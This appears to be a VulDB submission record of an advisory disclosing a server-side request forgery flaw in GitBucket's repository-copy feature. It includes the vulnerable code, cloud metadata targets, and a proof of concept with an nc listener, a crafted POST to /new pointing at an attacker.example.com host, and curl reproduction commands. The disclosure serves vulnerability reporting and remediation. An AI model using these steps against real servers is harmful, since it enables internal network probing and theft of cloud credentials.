| Titel | gitbucket 4.46.1 Server-Side Request Forgery |
|---|
| Beschreibung | Title: SSRF via Unchecked Git Clone URL in Repository Creation
Package: gitbucket
Affected Versions: all versions (confirmed in 4.38.4 Docker image, code analysis confirms present in 4.46.1)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE: CWE-918 -- Server-Side Request Forgery (SSRF)
## GitHub Advisory
### Summary
GitBucket allows authenticated users to create a new repository by cloning an existing Git repository from a user-supplied URL. The URL is passed directly to JGit's `Git.cloneRepository().setURI(url)` without any validation or blocklist check. This enables any authenticated user (with repository creation permission, which is granted to all users by default) to force the GitBucket server to issue outbound HTTP/HTTPS requests to arbitrary hosts and ports, including internal network infrastructure and cloud metadata services.
### Details
The vulnerability exists in `src/main/scala/gitbucket/core/service/RepositoryCreationService.scala` at line 96:
```scala
val copyRepositoryDir = if (initOption == "COPY") {
sourceUrl.flatMap { url =>
val dir = Files.createTempDirectory(s"gitbucket-${owner}-${name}").toFile
Git.cloneRepository().setBare(true).setURI(url).setDirectory(dir).setCloneAllBranches(true).call()
Some(dir)
}
} else None
```
When a user selects the "Copy existing git repository" option (`initOption=COPY`) on the new repository creation page and supplies a `sourceUrl`, that URL is passed verbatim to JGit's clone operation. JGit immediately makes an outbound HTTP GET request to `{sourceUrl}/info/refs?service=git-upload-pack` with a distinctive `User-Agent: JGit/...` header before any authentication or repository content check occurs.
There is no URL validation, no scheme restriction, no hostname blocklist, and no allowlist applied to `sourceUrl`. The webhook setting "Block sending to private addresses" (`blockPrivateAddress`) protects only outbound webhook calls and does not apply to this code path at all.
The repository creation form is available at `POST /new` with form fields `initOption=COPY` and `sourceUrl=<url>`. This endpoint is accessible to all authenticated users when the default "All users" setting is active for repository creation (the default on fresh GitBucket installations).
The JGit `SmartHttpFetch` request sent to the target URL includes:
```
GET /info/refs?service=git-upload-pack HTTP/1.1
User-Agent: JGit/5.13.1.202206130422-r
Accept: application/x-git-upload-pack-advertisement, */*
Git-Protocol: version=2
Cache-Control: no-cache
```
This allows an attacker to:
1. Probe internal network services and enumerate open ports (port scanning via error/timing differences).
2. Interact with cloud provider IMDS endpoints (AWS `http://x.x.x.x/`, GCP `http://metadata.google.internal/`, Azure `http://x.x.x.x/metadata/`) potentially exposing IAM credentials and cloud configuration.
3. Reach services on private/RFC-1918 address space that are not publicly routable.
4. Trigger requests to internal services that apply IP-based trust (e.g. internal Kubernetes APIs, admin panels accessible only from localhost or the server's IP).
The SSRF is also exploitable against HTTPS endpoints; JGit will attempt TLS connections if `https://` is supplied.
### PoC
Prerequisites: A GitBucket account with repository creation permission (the default for all registered users).
**1. Start a listener on an attacker-controlled server:**
```
nc -lvnp 9999
```
**2. POST to the new repository endpoint:**
```http
POST /new HTTP/1.1
Host: <gitbucket-host>
Cookie: JSESSIONID=<valid-session>
Content-Type: application/x-www-form-urlencoded
owner=<yourusername>&name=poc-ssrf&description=&isPrivate=false&initOption=COPY&sourceUrl=http://attacker.example.com:9999/
```
**3. The GitBucket server sends within seconds:**
```http
GET /info/refs?service=git-upload-pack HTTP/1.1
Host: attacker.example.com:9999
User-Agent: JGit/5.13.1.202206130422-r
Accept: application/x-git-upload-pack-advertisement, */*
Git-Protocol: version=2
Cache-Control: no-cache
Connection: keep-alive
```
**Live reproduction (Docker environment):**
```bash
# Sign in as any authenticated user
curl -c /tmp/gb.txt -X POST http://localhost:9105/signin \
-d "userName=testuser1&password=testpass123"
# Start listener (in another terminal)
python3 -m http.server 9999
# Trigger SSRF
curl -b /tmp/gb.txt -X POST http://localhost:9105/new \
--data-urlencode "owner=testuser1" \
--data-urlencode "name=ssrf-$(date +%s)" \
--data-urlencode "isPrivate=false" \
--data-urlencode "initOption=COPY" \
--data-urlencode "sourceUrl=http://172.17.0.1:9999/"
```
**Observed request on listener (from container IP 172.23.0.2):**
```
172.23.0.2 - GET /info/refs?service=git-upload-pack HTTP/1.1
User-Agent: JGit/5.13.1.202206130422-r
```
SSRF was confirmed against:
- HTTP URLs to internal listener (port scanning)
- `http://172.17.0.1` (Docker host network)
- Both from admin (`root`) and non-admin (`testuser1`) accounts
### Impact
Any authenticated GitBucket user can force the server to make outbound HTTP/HTTPS requests to arbitrary URLs with no restriction. On cloud-hosted instances this exposes cloud metadata endpoints (AWS IMDSv1, GCP metadata, Azure IMDS) which can lead to credential theft and full cloud account compromise. On any deployment it enables internal network reconnaissance and interaction with internal services. The default configuration of GitBucket allows all registered users to create repositories, making this exploitable by every account on the instance. |
|---|
| Quelle | ⚠️ https://github.com/gitbucket/gitbucket |
|---|
| Benutzer | geochen (UID 78995) |
|---|
| Einreichung | 23.05.2026 10:46 (vor 1 Monat) |
|---|
| Moderieren | 28.06.2026 12:06 (1 month later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 374548 [GitBucket bis 4.46.1 RepositoryCreationService.scala Git.cloneRepository.setURI url erweiterte Rechte] |
|---|
| Punkte | 20 |
|---|